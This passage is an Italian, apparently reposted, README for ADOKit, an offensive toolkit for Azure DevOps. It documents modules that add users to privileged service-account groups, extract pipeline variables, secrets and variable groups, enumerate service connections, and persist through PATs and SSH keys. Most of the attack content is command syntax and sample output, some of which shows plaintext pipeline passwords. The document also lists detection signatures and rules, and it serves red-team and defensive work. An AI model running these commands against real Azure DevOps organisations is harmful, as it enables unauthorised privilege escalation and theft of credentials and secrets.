Fornisci il modulo addcollectionbuildsvc insieme a /user: per un dato utente da aggiungere al gruppo Project Collection Build Service Accounts. Fornisci inoltre tutte le informazioni di autenticazione e l'URL pertinenti. Consulta la Tabella dei Dettagli del Modulo per i permessi necessari per eseguire questa azione.

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Esempio di Output```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

root@kitploit:~
### Rimuovi Collection Build Service Account

#### Caso d'Uso

> *Rimuovi un utente dal gruppo Project Collection Build Service Accounts.*

#### Sintassi

Fornisci il modulo `removecollectionbuildsvc` insieme a un `/user:` per un determinato utente da rimuovere dal gruppo `Project Collection Build Service Accounts`. Inoltre, fornisci le informazioni di autenticazione pertinenti e l'URL. Consulta la [Tabella dei Dettagli dei Moduli](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Esempio di Output```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

Aggiungi Collection Service Account

Caso d'Uso

Aggiungi un utente al gruppo Project Collection Service Accounts.

Sintassi

Fornisci il modulo addcollectionsvc insieme a un /user: per un dato utente da aggiungere al gruppo Project Collection Service Accounts. Inoltre, fornisci le informazioni di autenticazione e l'URL pertinenti. Vedi Tabella dei Dettagli del Modulo per le autorizzazioni necessarie per eseguire questa azione.

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Output di Esempio```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### Rimuovi Account del Servizio di Raccolta

#### Caso d'Uso

> *Rimuovere un utente dal gruppo Account del Servizio di Raccolta del Progetto.*

#### Sintassi

Fornisci il modulo `removecollectionsvc` insieme a `/user:` per un dato utente da rimuovere dal gruppo `Project Collection Service Accounts`. Inoltre, fornisci tutte le informazioni di autenticazione rilevanti e l'URL. Consulta la [Tabella dei Dettagli del Modulo](#module-details-table) per i permessi necessari per eseguire questa azione.

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Esempio di Output```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

Ottieni Variabili della Pipeline

Caso d'Uso

Estrai eventuali variabili della pipeline utilizzate nei progetti, che potrebbero contenere credenziali o altre informazioni utili.

Sintassi

Fornisci il modulo getpipelinevars insieme a un /project: per un determinato progetto per estrarre eventuali variabili della pipeline in uso. Se desideri estrarre le variabili della pipeline da tutti i progetti, specifica all nell'argomento /project:.

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Esempio di Output```

C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Pipeline Var Name |                                 Pipeline Var Value

root@kitploit:~
                credential |                                       P@ssw0rd123!
                       url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

root@kitploit:~
### Ottieni Segreti della Pipeline

#### Caso d'uso

> *Estrai i nomi di eventuali segreti della pipeline in uso nei progetti, che indirizzeranno l'operatore su dove tentare di effettuare l'estrazione dei segreti.*

#### Sintassi

Fornisci il modulo `getpipelinesecrets` insieme a `/project:` per un dato progetto per estrarre i nomi di eventuali segreti della pipeline in uso. Se desideri estrarre i nomi dei segreti della pipeline da tutti i progetti, specifica `all` nell'argomento `/project:`.

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Esempio di Output```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinesecrets
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Build Secret Name |   Build Secret Value
-----------------------------------------------------
             anotherSecretPass |             [HIDDEN]
                    secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

Ottieni Gruppi di Variabili

Caso d'Uso

Estrai qualsiasi gruppo di variabili e le variabili corrispondenti utilizzate nei progetti, che potrebbero contenere credenziali o altre informazioni utili.

Sintassi

Fornisci il modulo getvariablegroups insieme a /project: per un dato progetto per estrarre eventuali gruppi di variabili utilizzati. Se desideri estrarre gruppi di variabili da tutti i progetti, specifica all nell'argomento /project:.

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Esempio di Output```

C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization

Timestamp: 16/05/2024 16:53:31

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
       Variable Group Name |                  Variable Name |                                     Variable Value

root@kitploit:~
       real-test-variables |                  test_password |                                      BurpIsNotBeef
       real-test-variables |                      test_user |                                            nicolas
       fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
       fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/
root@kitploit:~
### Ottenere Connessioni di Servizio

#### Caso d'Uso

> *Elenca tutte le connessioni di servizio in uso nei progetti, indirizzando l'operatore su dove tentare l'estrazione di credenziali per tali connessioni.*

#### Sintassi

Fornire il modulo `getserviceconnections` insieme a un argomento `/project:` per un determinato progetto al fine di elencare le connessioni di servizio in uso. Se si desidera elencare le connessioni di servizio in uso da tutti i progetti, specificare `all` nell'argomento `/project:`.

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Esempio di Output```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getserviceconnections
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/11/2023 8:34:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                             Connection Name |      Connection Type |                                                           ID
--------------------------------------------------------------------------------------------------------------------------------------------------
                                        Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                         Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac
  Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

Rilevamento

Di seguito sono riportate le firme statiche per l'utilizzo specifico di questo strumento nel suo stato predefinito:

  • GUID del progetto - {60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
    • Vedi Regola Yara di ADOKit in questo repository.
  • Stringa User Agent - ADOKit-21e233d4334f9703d1a3a42b6e2efd38
    • Vedi Regola Snort di ADOKit in questo repository.
  • Regole di Microsoft Sentinel
    • ADOKitUsage.json - Rileva l'utilizzo di ADOKit con qualsiasi evento controllabile (ad esempio, aggiunta di un utente a un gruppo)
    • PersistenceTechniqueWithADOKit.json - Rileva la creazione di una chiave PAT o SSH con ADOKit

Per una guida al rilevamento delle tecniche utilizzate dallo strumento, consulta il whitepaper di X-Force Red.

Roadmap

  • Supporto per Azure DevOps Server

Riferimenti

  • https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1
  • https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops
Scarica lo strumento
  • Aggiungi Account Servizio Raccolta
  • Rimuovi Account Servizio Raccolta
  • Ottieni Variabili Pipeline
  • Ottieni Segreti Pipeline
  • Ottieni Gruppi di Variabili
  • Ottieni Connessioni Servizio
  • listpat - Elenca i token di accesso personali per l'utente
  • removepat - Rimuovi token di accesso personale per l'utente
  • createsshkey - Crea una chiave pubblica SSH per l'utente
  • listsshkey - Elenca le chiavi pubbliche SSH per l'utente
  • removesshkey - Rimuovi chiave pubblica SSH per l'utente
  • Escalation dei privilegi
    • addprojectadmin - Aggiunge un utente al gruppo "Amministratori del progetto" per un progetto specifico
    • removeprojectadmin - Rimuove un utente dal gruppo "Amministratori del progetto" per un progetto specifico
    • addbuildadmin - Aggiunge un utente al gruppo "Amministratori della build" per un progetto specifico
    • removebuildadmin - Rimuove un utente dal gruppo "Amministratori della build" per un progetto specifico
    • addcollectionadmin - Aggiunge un utente al gruppo "Amministratori della raccolta del progetto"
    • removecollectionadmin - Rimuove un utente dal gruppo "Amministratori della raccolta del progetto"
    • addcollectionbuildadmin - Aggiunge un utente al gruppo "Amministratori della build della raccolta del progetto"
    • removecollectionbuildadmin - Rimuove un utente dal gruppo "Amministratori della build della raccolta del progetto"
    • addcollectionbuildsvc - Aggiunge un utente al gruppo "Account servizio build della raccolta del progetto"
    • removecollectionbuildsvc - Rimuove un utente dal gruppo "Account servizio build della raccolta del progetto"
    • addcollectionsvc - Aggiunge un utente al gruppo "Account servizio della raccolta del progetto"
    • removecollectionsvc - Rimuove un utente dal gruppo "Account servizio della raccolta del progetto"
    • getpipelinevars - Recupera le variabili della pipeline per un progetto specifico.
    • getpipelinesecrets - Recupera i nomi dei segreti della pipeline per un progetto specifico.
    • getvariablegroups - Recupera i gruppi di variabili e le corrispondenti variabili per un progetto specifico.
    • getserviceconnections - Recupera le connessioni di servizio per un progetto specifico.
  • Scenario di attaccoModuloPermessi speciali?Note
    RicognizionecheckNo
    RicognizionewhoamiNo
    RicognizionelistorgsNo
    RicognizionelistrepoNo
    RicognizionesearchrepoNo
    RicognizionelistprojectNo
    RicognizionesearchprojectNo
    RicognizionesearchcodeNo
    RicognizionesearchfileNo
    RicognizionelistuserNo
    RicognizionesearchuserNo
    RicognizionelistteamNo
    RicognizionesearchteamNo
    RicognizionegetteammembersNo
    RicognizionelistgroupNo
    RicognizionesearchgroupNo
    RicognizionegetgroupmembersNo
    RicognizionegetpermissionsNo
    RicognizionecredsNo
    RicognizionegetbuildlogsSì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    RicognizionelistbuildlogsSì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    RicognizionesearchbuildlogsSì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    PersistenzacreatepatNo
    PersistenzalistpatNo
    PersistenzaremovepatNo
    PersistenzacreatesshkeyNo
    PersistenzalistsshkeyNo
    PersistenzaremovesshkeyNo
    Escalation dei privilegiaddprojectadminSì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiremoveprojectadminSì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiaddbuildadminSì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiremovebuildadminSì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiaddcollectionadminSì - Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiremovecollectionadminSì - Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiaddcollectionbuildadminSì - Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiremovecollectionbuildadminSì - Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiaddcollectionbuildsvcSì - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts
    Escalation dei privilegiremovecollectionbuildsvcSì - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts
    Escalation dei privilegiaddcollectionsvcSì - Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegiremovecollectionsvcSì - Project Collection Administrator o Project Collection Service Accounts
    Escalation dei privilegigetpipelinevarsSì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    Escalation dei privilegigetpipelinesecretsSì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    Escalation dei privilegigetvariablegroupsSì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators
    Escalation dei privilegigetserviceconnectionsSì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts